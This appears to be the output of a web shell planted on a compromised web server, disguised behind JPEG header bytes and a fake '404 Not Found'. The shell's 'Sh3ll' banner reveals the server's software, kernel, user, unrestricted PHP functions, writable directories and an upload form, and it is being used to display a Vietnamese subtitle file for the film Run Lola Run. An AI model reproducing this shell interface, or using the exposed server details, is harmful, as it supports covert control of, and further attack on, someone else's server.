����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c8402c6b383b-1552155334.vtt
WEBVTT - https://subtitletools.com

00:00:20.520 --> 00:00:24.649
Chúng ta sẽ không dừng được chuyến thám hiểm,
rồi nơi tận cùng của cuộc thám hiểm

00:00:25.108 --> 00:00:29.445
chính là nơi chúng ta đã bắt đầu
và biết đến ngay từ lần đầu tiên.

00:00:29.904 --> 00:00:30.780
-T.S. Eliot...

00:00:31.239 --> 00:00:34.951
Kết thúc cuộc chơi là khởi đầu cuộc chơi.
-S. Herberger...

00:01:52.110 --> 00:01:54.112
Loài người...

00:01:54.571 --> 00:01:58.450
... có lẽ là chủng loài
bí ẩn nhất hành tinh chúng ta.

00:01:58.867 --> 00:02:01.619
Sự bí ẩn đến từ
những câu hỏi không lời đáp...

00:02:02.078 --> 00:02:05.915
Chúng ta là ai?
Ta từ đâu đến?

00:02:05.999 --> 00:02:10.962
Ta đang đi đến đâu? Làm sao ta biết?
Ta nghĩ ta biết được những gì?

00:02:12.422 --> 00:02:15.383
Tại sao chúng ta cứ tin vào
hết thảy mọi thứ?

00:02:16.175 --> 00:02:19.720
Muôn vàn câu hỏi
đang tìm kiếm một lời giải.

00:02:20.138 --> 00:02:25.101
Một lời giải mà sẽ lại
làm nảy sinh một câu hỏi mới...

00:02:25.184 --> 00:02:28.896
... và lời giải sau đó lại
đặt ra câu hỏi tiếp theo, và cứ thế...

00:02:29.313 --> 00:02:31.148
... cứ thế.

00:02:32.441 --> 00:02:36.987
Nhưng, cuối cùng thì,
chẳng phải đó luôn là cùng một câu hỏi

00:02:37.488 --> 00:02:41.742
và cùng một câu trả lời hay sao?

00:02:43.619 --> 00:02:47.373
Quả bóng thì hình tròn.
Cuộc đấu thì kéo dài 90 phút.

00:02:47.790 --> 00:02:51.126
Đó là điều hiển nhiên.
Mọi thứ khác cũng đơn thuần là lý thuyết cả.

00:02:53.003 --> 00:02:53.712
Bắt đầu thôi!

00:03:00.260 --> 00:03:02.554
CHẠY ĐI LOLA

00:04:49.034 --> 00:04:50.410
- Manni?
- Lola?

00:04:50.827 --> 00:04:52.746
Sao rồi? Anh ở đâu?

00:04:53.205 --> 00:04:55.582
Em đã ở đâu vậy, mẹ kiếp?

00:04:55.999 --> 00:04:57.292
Em tới đó thì quá trễ rồi.

00:04:57.709 --> 00:05:00.462
Nhưng sao lại hôm nay?
Em luôn đúng giờ mà! Luôn luôn!

00:05:00.837 --> 00:05:04.049
Xe máy của em bị ăn cắp.
Thì có gì to tát đâu.

00:05:04.132 --> 00:05:05.216
Có, có đó!

00:05:06.051 --> 00:05:07.427
Có chuyện gì vậy?

00:05:08.345 --> 00:05:11.431
Đâu phải lỗi của em, Manni.
Em đi mua vài điếu thuốc.

00:05:13.016 --> 00:05:14.601
Em không tin được tên đó lại
nhanh tay đến vậy.

00:05:15.810 --> 00:05:19.272
Em không thể làm gì cả.
Hắn đã vọt mất trước khi em ra ngoài.

00:05:19.355 --> 00:05:20.732
Thậm chí em đã bắt taxi.

00:05:21.149 --> 00:05:24.235
Cái thằng đó chạy về hướng đông.
They've got a Grunewald St. There too.

00:05:24.319 --> 00:05:26.571
Khi em nhận ra thì quá muộn rồi.

00:05:26.988 --> 00:05:31.117
Đầu óc em rối bời vì chiếc xe máy
của tụi mình nên không phát hiện.

00:05:31.200 --> 00:05:33.786
- Việc đó không quan trọng.
- Khi em tới nơi thì anh đi mất rồi.

00:05:34.579 --> 00:05:37.331
- Dù sao thì việc đó cũng không
quan trọng. Anh đã xong việc rồi.
- Vậy thì tại sao?

00:05:38.958 --> 00:05:43.546
Cứu anh, Lola!
Anh không biết phải làm gì.

00:05:44.088 --> 00:05:47.717
Em không có ở đó, và anh làm rối tung lên.
Anh làm hỏng nó. Anh là thằng ngu!

00:05:49.385 --> 00:05:52.179
Bình tĩnh lại đã.
Giờ thì chuyện gì đã xảy ra?

00:05:52.638 --> 00:05:55.891
Cho em biết có gì xảy ra, okay?

00:05:55.975 --> 00:05:58.435
Lola, tên đó sẽ giết anh.
Anh chết mất.

00:05:59.270 --> 00:06:02.106
Dừng lại đi! Anh làm em sợ đấy.
Có chuyện gì vậy?

00:06:02.189 --> 00:06:05.693
- Anh bị phát hiện à?
- Không, nhưng có vài chuyện xảy ra.

00:06:06.485 --> 00:06:10.781
Mọi thứ đều diễn ra trôi chảy.
Bọn anh lái mấy chiếc xe đến đó rồi họ tới.

00:06:11.448 --> 00:06:13.826
Họ giao hàng, vậy thôi.
Dễ như ăn bánh.

00:06:14.368 --> 00:06:16.995
Anh được kêu đi vượt biên giới...

00:06:17.412 --> 00:06:19.748
... rồi thì họ thả anh xuống đó.

00:06:20.123 --> 00:06:23.710
Anh đi gặp gã kiểm định kia,
và ông ta hoàn tất ngay tức thì.

00:06:23.794 --> 00:06:26.171
Và mọi thứ đều đúng giờ,
ngoại trừ em.

00:06:27.130 --> 00:06:28.465
Em không có đó.

00:06:31.218 --> 00:06:34.346
- Rồi sao?
- Chẳng có thứ gì cả.
Chẳng có cả buồng điện thoại.

00:06:34.888 --> 00:06:39.309
Anh thậm chí không thể gọi taxi tới,
vậy là anh đi bộ đến trạm xe điện ngầm

00:06:39.643 --> 00:06:41.603
Trên xe, có một tên ma cà bông...

00:06:42.020 --> 00:06:45.231
... làm sao đó mà bị ngã,
rồi bỗng dưng bọn thanh tra xuất hiện.

00:06:45.649 --> 00:06:48.943
Và như mọi lần, anh lại chuồn đi.
Một phản xạ cũ.

00:07:00.580 --> 00:07:01.372
Cái túi!

00:07:01.748 --> 00:07:02.373
Cái túi!

00:07:35.948 --> 00:07:37.074
Cái túi!

00:07:37.825 --> 00:07:41.495
Anh đúng là một tên nghiệp dư chết tiệt!
Một thằng bỏ đi!

00:07:41.912 --> 00:07:46.166
Chuyện này chỉ có thể xảy ra với anh thôi!
Nếu em tới đón anh, nó đã không xảy ra.

00:07:46.667 --> 00:07:49.420
Anh không hiểu nổi.
Em lúc nào cũng đúng giờ kia mà!

00:07:49.920 --> 00:07:52.381
- Anh có đón chuyến tiếp theo không?
- Chắc chắn rồi.

00:07:52.881 --> 00:07:56.093
Nhưng quá muộn rồi.
Cái túi khốn nạn đã biến mất.

00:07:56.176 --> 00:07:58.387
Anh biết ai đã lấy. Thằng đó!
Cái thằng móc bọc khốn kiếp đó!

00:07:58.804 --> 00:08:01.848
Chắc hắn đã lên một chuyến bay tới
Florida hoặc Hawaii...

00:08:02.224 --> 00:08:05.769
... hoặc Canada hoặc Hong Kong
hoặc Bermuda hoặc gì gì đó.

00:08:09.398 --> 00:08:10.482
Còn Ronnle thì sao?

00:08:11.108 --> 00:08:13.193
- Tên đó sẽ giết anh mất.
- Anh phải kể lại cho hắn chứ.

00:08:13.276 --> 00:08:14.194
Quên đi!

00:08:14.277 --> 00:08:16.196
- Sao vậy?
- Hắn sẽ không tin một lời nào đâu!

00:08:16.738 --> 00:08:20.492
Có lần anh giữ một thùng thuốc lá.
Hắn để ý anh ngay lập tức.

00:08:21.201 --> 00:08:23.495
Hắn không tin một ai cả.

00:08:23.912 --> 00:08:27.374
Công việc với mấy chiếc Mercedes
chỉ là một bài thử thôi...

00:08:28.124 --> 00:08:31.711
để xem hắn có thể tin anh không.
Chó thật.

00:08:32.504 --> 00:08:34.631
Có bao nhiêu tiền trong túi?

00:08:35.632 --> 00:08:37.926
- 100.000
- Cái gì?

00:08:39.260 --> 00:08:41.554
100.000. Một bài thử.

00:08:41.971 --> 00:08:42.889
Chết tiệt.

00:08:43.306 --> 00:08:47.101
Thấy chưa! Anh biết là em cũng không
nghĩ ra cách nào mà. Anh luôn bảo rằng...

00:08:47.518 --> 00:08:50.188
sẽ có ngày em không biết phải làm gì rồi.
Không phải đợi lúc em chết. Sớm hơn kìa!

00:08:51.439 --> 00:08:55.902
Em bảo rằng, "Tình yêu có thể làm nên mọi thứ"
Vậy thì đi tìm 100.000 marks trong 20 phút đi!

00:08:57.695 --> 00:09:02.325
Ronnie bảo là đúng 12 giờ tại đài phun nước
quanh góc đường. Trong 20 phút nữa.

00:09:02.408 --> 00:09:03.784
Trốn đi, Manni!

00:09:04.201 --> 00:09:05.161
- Không.
- Sao không?

00:09:05.578 --> 00:09:08.456
Không ai thoát khỏi Ronnie cả.

00:09:08.539 --> 00:09:09.665
Em sẽ đi với anh.

00:09:10.082 --> 00:09:13.335
Khi Ronnie đến đây trong 20 phút nữa
anh sẽ đi đời.

00:09:13.419 --> 00:09:14.670
- Thôi đi, Manni!
- Để làm gì chứ?

00:09:15.087 --> 00:09:17.798
Em đâu thể nào kiếm được 100 ngàn cho anh!

00:09:17.881 --> 00:09:21.927
Hắn sẽ xóa sổ anh, và tất cả những gì
còn lại của anh sẽ là 100.000 hạt bụi tro cốt...

00:09:22.386 --> 00:09:26.890
Trôi xuống sông Spree rồi ra biển.
Không còn thằng Manni nữa!
Em không làm được một thứ gì cả!

00:09:27.307 --> 00:09:28.725
Thôi đi!

00:09:38.777 --> 00:09:39.569
Nghe đây.

00:09:40.112 --> 00:09:44.658
Hãy đợi em. Em sẽ giúp anh. Ở yên đó,
Em sẽ đến đó trong 20 phút nữa.

00:09:44.741 --> 00:09:47.035
- Được không?
- Em định đem cầm tất cả nữ trang
của mình à?

00:09:47.119 --> 00:09:47.953
Anh đang ở đâu?

00:09:49.079 --> 00:09:52.916
Trong một buồng điện thoại,
ở trung tâm, trước quầy rượu Spiral.

00:09:53.917 --> 00:09:56.503
Okay, Cứ ở yên đó.
Em hứa em sẽ nghĩ ra cách gì đó.

00:09:57.003 --> 00:09:58.213
Trong 20 phút, được chưa?

00:10:00.465 --> 00:10:02.842
Cái quái gì chứ. Anh sẽ tới cửa hàng
Bolleand để lấy 100 ngàn.

00:10:03.259 --> 00:10:04.844
Anh thôi đi!

00:10:04.928 --> 00:10:08.264
Ronnie bảo họ kiếm được 200 ngàn 1 ngày,
vậy thì tới trưa ắt hẳn họ cũng có 100 ngàn.

00:10:08.681 --> 00:10:12.268
Anh điên rồi! Đừng làm gì hết!
Chỉ ở yên trong cái buồng điện thoại chết tiệt đó!
Em tới ngay đây.

00:10:12.685 --> 00:10:15.313
- Đúng rồi. Mình sẽ cướp cửa hàng.
- Anh mất trí rồi hả?

00:10:15.688 --> 00:10:18.107
Đừng làm gì cả! Cứ ở đó, Em tới đây!

00:10:18.733 --> 00:10:19.609
Rồi sao nữa?

00:10:20.026 --> 00:10:21.194
Em sẽ nghĩ ra cách gì đó!

00:10:21.611 --> 00:10:24.447
Trong 20 phút nữa anh sẽ chết
nếu không cướp tiền!

00:10:24.864 --> 00:10:26.491
- Không, cứ chờ đã!
- Để làm gì?

00:10:26.908 --> 00:10:29.410
Em sẽ kiếm tiền bằng cách nào đó.

00:10:32.788 --> 00:10:34.582
Anh sẽ đến đó lúc 12 giờ
nếu em không tới đây.

00:11:02.026 --> 00:11:04.236
Được rồi. Ai đây?

00:11:42.273 --> 00:11:43.149
Cha!

00:11:51.533 --> 00:11:54.202
Lola, con đi mua sắm à?
Mẹ cần dầu gội!

00:11:57.121 --> 00:12:00.458
Đương nhiên, tôi biết sao
Sagittarius là sao chiếu mệnh của bà.

00:12:00.541 --> 00:12:05.505
Chắc rồi, càng nghĩ về nó
thì tôi lại không biết.

00:12:06.672 --> 00:12:09.634
Phải, nhưng bà cũng kết hôn rồi.

00:13:05.355 --> 00:13:07.315
Mở mắt ra mà nhìn đường chứ!

00:13:10.318 --> 00:13:11.653
Đồ chó cái!

00:14:17.468 --> 00:14:19.136
Về đêm thì càng tệ hơn nữa.

00:14:20.429 --> 00:14:22.681
Em chợt tỉnh dậy
rồi không thể ngủ lại nữa.

00:14:23.432 --> 00:14:25.142
Và sau đó em thấy sợ.

00:14:26.310 --> 00:14:28.353
Em! Sợ bóng tối.

00:14:29.229 --> 00:14:33.317
Em chưa bao giờ sợ bóng tối.
Trước đây chưa bao giờ em sợ.

00:14:35.193 --> 00:14:36.987
Nhưng rồi em nghĩ đến chúng ta...

00:14:40.365 --> 00:14:44.161
Và em nghĩ rằng
mọi chuyện sẽ cứ tiếp diễn thế này mãi.

00:14:44.619 --> 00:14:46.830
Rằng anh sẽ không dám...

00:14:57.090 --> 00:14:59.634
Rồi sau đó em tự hỏi
mình đang làm gì ở đây.

00:15:00.051 --> 00:15:04.973
Chuyện này còn kéo dài bao lâu nữa?
Sự giấu diếm, và tất cả những sự dối trá
khốn kiếp này?

00:15:06.099 --> 00:15:10.478
Em có nên để mình già cõi, đợi chờ
một người đàn ông không ở bên cạnh mình không?

00:15:48.766 --> 00:15:50.392
Này, cô cần một chiếc xe chứ?

00:15:52.311 --> 00:15:54.229
50 mác thôi, tốt như mới.

00:15:55.355 --> 00:15:56.356
Không!

00:15:59.526 --> 00:16:00.402
VỀ SAU NÀY

00:16:47.949 --> 00:16:50.159
Nè mày! Tao biết chứ!

00:16:50.910 --> 00:16:53.329
Đâu phải lỗi của tao, nhiều tiền quá mà!

00:16:58.584 --> 00:17:01.504
500? Tao làm được gì với 500 mác đây?

00:17:17.686 --> 00:17:18.771
Cám ơn.

00:17:30.657 --> 00:17:31.867
Thẻ điện thoại của bà!

00:17:52.804 --> 00:17:55.891
Anh phải đi rồi.
Meyer sẽ đến đây ít phút nữa.

00:18:00.437 --> 00:18:02.480
Chúng ta có thể gặp lại sau không?

00:18:04.316 --> 00:18:06.151
- Anh có yêu em không?
- Sao cơ?

00:18:06.985 --> 00:18:08.445
Anh có yêu em không?

00:18:09.362 --> 00:18:11.114
Sao giờ em lại hỏi anh?

00:18:11.573 --> 00:18:13.283
Anh có yêu em không?

00:18:13.992 --> 00:18:15.994
Có chứ, chết tiệt!

00:18:17.036 --> 00:18:18.037
Vậy thì quyết định đi.

00:18:19.372 --> 00:18:20.623
Không phải lúc này.

00:18:21.374 --> 00:18:23.293
Anh sẽ phải quyết định vào lúc nào đó.

00:18:23.668 --> 00:18:26.337
Nhưng tại sao lại lúc này, ở đây,
lại mới hỏi chỉ có một lần?

00:18:32.844 --> 00:18:34.512
Vì em đang có thai.

00:18:44.355 --> 00:18:46.190
Ôi xem kìa!

00:18:46.607 --> 00:18:50.444
Công chúa bé bỏng của chúng tôi, Lola!
Thật là một chuyện thú vị hiếm hoi.

00:18:51.487 --> 00:18:53.489
- Sao lại vội thế?
- Làm ơn cho cháu vào.

00:18:53.948 --> 00:18:57.785
Quí cô bé bỏng đây muốn gặp cha à?
Hẳn vậy rồi.

00:19:10.172 --> 00:19:10.589
Xin lỗi.

00:19:13.675 --> 00:19:14.510
VỀ SAU NÀY

00:19:22.351 --> 00:19:26.521
Nói đi, anh muốn có con
với em không?

00:19:31.193 --> 00:19:32.152
Muốn.

00:19:36.490 --> 00:19:37.365
Lola?

00:19:37.782 --> 00:19:38.783
Cha.

00:19:39.409 --> 00:19:40.869
Con gái anh à?

00:19:47.417 --> 00:19:50.336
Cô là Jutta Hansen
từ ban giám đốc.

00:19:50.420 --> 00:19:55.008
- Xin lỗi vì ngắt lời cô. Có chuyện khẩn cấp.
- Không sao. Cô cũng vừa định...

00:19:57.051 --> 00:19:58.636
Con làm gì ở đây?

00:19:58.720 --> 00:20:00.013
Cha làm gì ở đây?

00:20:04.851 --> 00:20:05.810
Không có gì cả.

00:20:14.694 --> 00:20:15.444
Cha nghe này...

00:20:16.571 --> 00:20:19.073
Nếu con bảo cha con cần cha giúp...

00:20:19.156 --> 00:20:23.744
Nhiều hơn những gì con nhờ trong cả đời,
và cha là người duy nhất có thể giúp con...

00:20:24.161 --> 00:20:25.913
Cha sẽ giúp con chứ?
- Nhìn con thảm hại quá.

00:20:26.330 --> 00:20:27.832
- Cha giúp con chứ?
- Có chuyện gì vậy?

00:20:28.290 --> 00:20:30.751
Con không thể giải thích bây giờ.
Cha có giúp con không?

00:20:31.168 --> 00:20:31.919
Với chuyện gì, chết tiệt!

00:20:33.629 --> 00:20:35.256
Con cần 100.000 mác ngay lập tức.

00:20:35.923 --> 00:20:36.590
Cái gì ?

00:20:37.007 --> 00:20:40.469
Con cần nó trong vòng 5 phút nữa,
nếu không...

00:20:40.886 --> 00:20:43.138
- Nếu không thì sao?
- Vài chuyện kinh khủng sẽ xảy ra!

00:20:44.181 --> 00:20:46.517
Cha không hiểu?
Chuyện gì đang diễn ra ở đây hôm nay vậy?

00:20:46.934 --> 00:20:49.770
Làm ơn, Cha! Cha phải giúp con! Xin cha!

00:20:49.853 --> 00:20:52.898
- Cha không có 100.000 mác.
- Còn tiền bảo hiểm của con thì sao?

00:20:53.524 --> 00:20:56.109
Cái đó thì sao?
Nó chẳng đáng giá tới 100.000.

00:20:56.527 --> 00:20:59.696
Làm ơn đi Cha, con nghiêm túc đó.
Đây không phải là trò đùa!

00:21:00.072 --> 00:21:02.491
Phải, đúng vậy đó, Lola!
Con không thể nào nghiêm túc được!

00:21:02.949 --> 00:21:05.285
- Nếu cha không giúp con, anh ấy sẽ chết!
- Ai chết?

00:21:05.702 --> 00:21:07.788
- Manni!
- Manni? Ai là Manni?

00:21:08.205 --> 00:21:09.956
Bạn trai của con, hơn một năm rồi!

00:21:10.373 --> 00:21:12.334
Cha thậm chí còn không biết nó. Sao nó phải chết?

00:21:12.751 --> 00:21:13.835
Chuyện đó không quan trọng!

00:21:21.843 --> 00:21:24.554
Được rồi. Đi với cha.

00:21:33.771 --> 00:21:35.732
- Cha sẽ giúp con chứ?
- Tất nhiên.

00:21:36.149 --> 00:21:38.610
Về nhà rồi lên giường ngủ đi.

00:21:39.193 --> 00:21:44.032
Và cho mẹ cô biết tôi sẽ không về nhà
hôm nay hay ngày mai hay bao giờ nữa.

00:21:44.115 --> 00:21:48.035
Tôi bỏ các người và lấy người phụ nữ khác đây.

00:21:48.453 --> 00:21:53.332
Chúng tôi sắp có con rồi. Và tôi cố gắng hạnh phúc
vì cô ấy cần có tôi.

00:21:53.416 --> 00:21:56.752
Tôi phát bệnh khi cứ nghe câu
"Anh chỉ biết có công việc"

00:21:57.211 --> 00:21:58.754
"Anh lúc nào cũng đóng vai ông chủ!"

00:21:58.838 --> 00:22:02.508
Có thể đúng, nhưng thì sao chứ!
Các người không được phép ý kiến!

00:22:02.925 --> 00:22:06.303
Tôi đã quá mệt mỏi khi cứ làm một thằng ngu,
làm người để đổ lỗi!

00:22:06.387 --> 00:22:10.099
Nhưng tiền của thằng này là đủ rồi phải không?
Chà, sẽ không còn nữa đâu!

00:22:10.182 --> 00:22:11.308
Không còn nữa.

00:22:14.645 --> 00:22:18.148
Hơn nữa, tôi chưa bao giờ là cha
của một đứa kỳ quặc như cô.

00:22:18.565 --> 00:22:21.068
- Nhưng ông là cha tôi mà!
- Không, không phải!

00:22:24.780 --> 00:22:26.490
Cô không phải con tôi

00:22:34.665 --> 00:22:34.998
Giờ thì biết rồi đó.

00:22:38.168 --> 00:22:41.505
Cái gã sinh ra cô đã bỏ đi
trước khi cô ra đời.

00:22:44.091 --> 00:22:44.341
Quẳng cô ta ra ngoài giùm, làm ơn.

00:22:47.928 --> 00:22:49.638
Nhanh lên! Đem cô ta ra khỏi đây!

00:23:23.046 --> 00:23:25.298
Tất cả chúng ta đều có những ngày tồi tệ.

00:23:28.551 --> 00:23:29.886
Gặp lại sau.

00:23:43.274 --> 00:23:44.567
Cháu yêu.

00:23:45.192 --> 00:23:46.318
Có gì không ổn à?

00:23:47.862 --> 00:23:48.988
Mấy giờ rồi bà?

00:24:31.863 --> 00:24:33.031
Trưa nay sao?

00:24:35.742 --> 00:24:36.826
Được rồi.

00:24:38.286 --> 00:24:39.579
Thôi, quên nó đi. Ổn rồi.

00:24:40.830 --> 00:24:41.706
Ừ

00:26:15.382 --> 00:26:16.466
Chờ đã!

00:26:17.926 --> 00:26:19.135
Đừng làm việc đó!

00:26:20.136 --> 00:26:21.429
Manni, làm ơn!

00:26:22.013 --> 00:26:22.263
Chờ với!

00:26:24.182 --> 00:26:25.517
Chờ em với!

00:26:26.518 --> 00:26:28.186
Em đến đó ngay đây.

00:26:28.853 --> 00:26:29.979
Xin anh.

00:26:30.939 --> 00:26:32.357
Manni, xin anh...

00:26:33.441 --> 00:26:34.776
... hãy chờ em!

00:27:20.237 --> 00:27:23.240
Nằm xuống sàn. Nằm xuống!

00:27:23.866 --> 00:27:25.242
Nằm xuống sàn.

00:27:31.206 --> 00:27:33.250
Để tay ra sau đầu và giữ im lặng!

00:27:34.668 --> 00:27:35.252
Để tay ra sau đầu và giữ im lặng!

00:27:36.586 --> 00:27:37.462
Mở máy thu tiền ra!

00:27:38.171 --> 00:27:41.007
Mở hết máy thu tiền ra!

00:27:43.885 --> 00:27:45.011
Mở ra rồi nằm xuống!

00:27:46.429 --> 00:27:48.473
Tao sẽ bắn đứa nào làm cho tao cáu!

00:27:50.016 --> 00:27:51.810
Tao sẽ bắn đứa nào làm cho tao cáu!

00:27:57.899 --> 00:27:59.275
Lola, em đã ở đâu vậy?

00:27:59.943 --> 00:28:01.444
Em không thể đến đây nhanh hơn.

00:28:02.153 --> 00:28:03.112
- Em giúp anh chứ?

00:28:03.863 --> 00:28:05.240
Chúng ta không thể chỉ ra khỏi đây được sao?

00:28:06.199 --> 00:28:08.076
Không thể được nữa.
Em thấy anh vướng vào chuyện gì rồi đó.

00:28:10.244 --> 00:28:12.205
Sao anh không đợi em?

00:28:12.622 --> 00:28:14.749
Anh có đợi. Em đến đây quá trễ thôi.

00:28:16.334 --> 00:28:17.752
Vậy em có giúp anh không?

00:28:18.127 --> 00:28:20.671
Giơ tay mày lên! Nhanh lên!

00:28:25.885 --> 00:28:26.719
Mau lên!

00:28:31.098 --> 00:28:32.183
Vứt súng xuống!

00:28:32.808 --> 00:28:33.893
Nhanh lên!

00:28:40.816 --> 00:28:41.442
Không cử động.

00:28:42.943 --> 00:28:44.111
Chốt an toàn đang mở.

00:28:44.778 --> 00:28:46.947
- Nó hoạt động thế nào?
- Cái cần nhỏ ở phía bên.

00:28:47.448 --> 00:28:50.701
Cô gái, cô không biết cách sử dụng...

00:28:54.872 --> 00:28:55.539
Không cử động.

00:28:59.293 --> 00:29:00.460
Đến đây.

00:29:05.632 --> 00:29:07.551
Che giùm anh. Anh đi lấy tiền.

00:29:21.189 --> 00:29:23.149
Nhanh lên, trước khi cảnh sát tới.

00:30:16.744 --> 00:30:17.828
Không được cử động!

00:31:53.881 --> 00:31:55.257
Anh có yêu em không?

00:31:58.385 --> 00:31:59.678
Chắc chắn là có rồi.

00:32:03.098 --> 00:32:05.017
Làm sao anh chắc vậy?

00:32:06.560 --> 00:32:09.688
Anh không biết. chỉ là vậy thôi.

00:32:10.731 --> 00:32:12.733
Em có thể là cô gái nào khác.

00:32:15.736 --> 00:32:17.029
Sao không chứ?

00:32:18.906 --> 00:32:21.992
- Vì em là tốt nhất.
- Cái gì tốt nhất?

00:32:22.409 --> 00:32:23.952
Cô gái tốt nhất.

00:32:25.620 --> 00:32:27.247
Trên cả thế giới ư?

00:32:28.623 --> 00:32:29.708
Chắc chắn rồi.

00:32:30.876 --> 00:32:31.418
Làm sao anh biết?

00:32:33.795 --> 00:32:35.547
Anh chỉ biết thôi.

00:32:37.591 --> 00:32:39.050
Là do anh nghĩ vậy.

00:32:41.303 --> 00:32:43.013
Được thôi, là anh nghĩ vậy đấy.

00:32:43.888 --> 00:32:45.932
- Thấy chưa?
- Sao?

00:32:46.683 --> 00:32:47.726
Anh đâu có chắc chắn.

00:32:48.893 --> 00:32:51.271
Em bị mát dây hay sao thế?

00:32:57.193 --> 00:32:59.487
Nếu anh không bao giờ gặp em thì sao?

00:33:01.030 --> 00:33:02.573
Ý em là gì?

00:33:04.951 --> 00:33:07.578
Anh sẽ nói y như vậy với một ai khác.

00:33:07.662 --> 00:33:11.707
- Được rồi, nếu em không muốn nghe nó...
- Em không muốn nghe bất cứ gì cả.

00:33:11.791 --> 00:33:13.292
Em muốn biết anh cảm thấy thế nào.

00:33:13.960 --> 00:33:15.378
Được thôi.

00:33:16.504 --> 00:33:17.838
Cảm giác của anh bảo rằng...

00:33:20.299 --> 00:33:21.425
Em là tốt nhất.

00:33:22.635 --> 00:33:25.888
Cảm giác của anh?
Ai là "Cảm giác của anh" chứ?

00:33:26.305 --> 00:33:27.640
Chính là anh.

00:33:30.851 --> 00:33:31.811
Con tim anh.

00:33:32.228 --> 00:33:34.605
Con tim anh bảo
"Xin chào, Manni. Cô ấy là người đó." sao

00:33:36.398 --> 00:33:37.274
Chính xác.
Rồi anh nói,

00:33:37.691 --> 00:33:40.986
"Cám ơn đã cho thông tin nhé.
Hẹn gặp lại cậu." à.

00:33:41.403 --> 00:33:42.404
Chính xác.

00:33:43.822 --> 00:33:46.200
Và anh làm bất cứ gì con tim anh bảo sao?

00:33:46.617 --> 00:33:49.411
Chà, thật ra nó cũng không "bảo"
anh gì cả.

00:33:49.495 --> 00:33:51.205
Anh không biết nữa...

00:33:53.123 --> 00:33:53.749
Nó chỉ cảm nhận.

00:33:55.626 --> 00:33:57.502
Vậy thì nó cảm nhận gì bây giờ?

00:33:57.920 --> 00:34:01.006
Rằng có người đang hỏi mấy câu hỏi
ngốc nghếch.

00:34:02.049 --> 00:34:04.384
Anh không xem em nghiêm túc rồi.

00:34:04.801 --> 00:34:06.470
Lola, có chuyện gì sao?

00:34:07.637 --> 00:34:09.347
Bộ em muốn...

00:34:10.432 --> 00:34:11.600
rời khỏi anh à?

00:34:14.394 --> 00:34:15.812
Em không biết.

00:34:20.525 --> 00:34:22.902
Em nghĩ mình phải ra một quyết định.

00:34:35.206 --> 00:34:36.874
Nhưng em không muốn...

00:34:38.209 --> 00:34:39.794
Em không muốn rời khỏi đây.

00:34:47.093 --> 00:34:47.885
Dừng lại!

00:34:54.642 --> 00:34:57.520
Lola, con đi mua sắm à?
Mẹ cần dầu gội!

00:35:00.231 --> 00:35:03.359
Đương nhiên, tôi biết sao
Sagittarius là sao chiếu mệnh của bà.

00:35:03.734 --> 00:35:07.780
Chắc rồi, càng nghĩ về nó
thì tôi lại không biết.

00:35:09.782 --> 00:35:12.117
Phải, nhưng bà cũng kết hôn rồi.

00:36:20.143 --> 00:36:20.935
Xin lỗi!

00:36:21.352 --> 00:36:23.229
Đi phải nhìn đường chứ con kia!

00:36:25.106 --> 00:36:26.607
Cái thứ chết giẫm!

00:36:27.108 --> 00:36:27.984
VỀ SAU NÀY

00:37:35.550 --> 00:37:36.593
Này cô, cần xe đạp chứ?

00:37:37.886 --> 00:37:38.720
Không.

00:37:38.803 --> 00:37:41.389
- 50 mác thôi, tốt như mới.
- Nhưng đó là đồ ăn cắp!

00:37:56.070 --> 00:37:58.448
500? Tao làm được gì với 500 mác đây?

00:38:38.445 --> 00:38:40.656
Nói đi, anh muốn có con với em không?

00:38:46.495 --> 00:38:47.412
Muốn.

00:38:58.465 --> 00:39:00.467
Ngay cả khi nó không phải của anh?

00:39:06.181 --> 00:39:08.308
Xem ai đến kìa.
Lola, công chúa nhỏ...

00:39:08.725 --> 00:39:09.935
Cháu đang vội, làm ơn!

00:39:12.187 --> 00:39:13.271
Cho cháu vào!

00:39:13.688 --> 00:39:16.733
Phép lịch sự và nhã nhặn
là báu vật của một quí cô đấy nhé.

00:39:17.108 --> 00:39:18.151
Cho cháu vào đi, xin chú.

00:39:18.234 --> 00:39:21.237
Một chút tức giận cũng có lợi
cho trái tim nữa...

00:39:21.654 --> 00:39:24.157
Cho sự tuần hoàn, cho làn da.

00:39:47.305 --> 00:39:49.056
Vậy mà cũng gọi là yêu sao?!

00:39:49.557 --> 00:39:52.643
- Nếu anh không thờ ơ với em...
- Tôi còn có gia đình!

00:39:53.060 --> 00:39:57.189
Tôi đâu thể bỏ mặc bà vợ đau ốm
với 3 đứa con ở nhà chỉ để làm vừa lòng cô.

00:39:57.606 --> 00:39:59.400
Vợ anh cứ say xỉn từ sáng đến tối!

00:39:59.859 --> 00:40:01.193
Thì sao!

00:40:01.277 --> 00:40:02.069
Cô thì biết gì?

00:40:02.945 --> 00:40:05.155
Cô không thấy mình đang làm phiền
chúng tôi sao?

00:40:10.202 --> 00:40:11.286
Chào cha.

00:40:12.246 --> 00:40:13.789
Sao con không gõ cửa?

00:40:15.457 --> 00:40:16.750
Chuyện gì thế này?

00:40:17.167 --> 00:40:18.043
Con muốn gì đây?

00:40:18.794 --> 00:40:20.212
Con gái anh sao?

00:40:20.879 --> 00:40:21.839
Đóng cửa lại.

00:40:27.469 --> 00:40:28.595
Con muốn gì?

00:40:29.054 --> 00:40:29.972
Con cần cha giúp đỡ.

00:40:31.223 --> 00:40:33.725
- Con thấy cha đang bận mà.
- Không còn cách nào khác nữa.

00:40:34.142 --> 00:40:37.270
Chết tiệt!
Sao mày lại làm phiền tao lúc này chứ?!

00:40:37.687 --> 00:40:39.648
Tao đang có công việc.
Mày không hiểu sao?

00:40:43.860 --> 00:40:44.986
Con đàn bà kia là ai?

00:40:45.403 --> 00:40:46.529
Không phải việc của mày!

00:40:56.039 --> 00:40:57.957
Lola, đi đi.

00:40:58.041 --> 00:40:59.459
Về nhà đi.

00:40:59.876 --> 00:41:01.836
Để cho tao yên.

00:41:02.795 --> 00:41:03.922
Con không thể!

00:41:04.505 --> 00:41:05.298
Sao lại không?

00:41:06.633 --> 00:41:07.592
Con cần tiền.

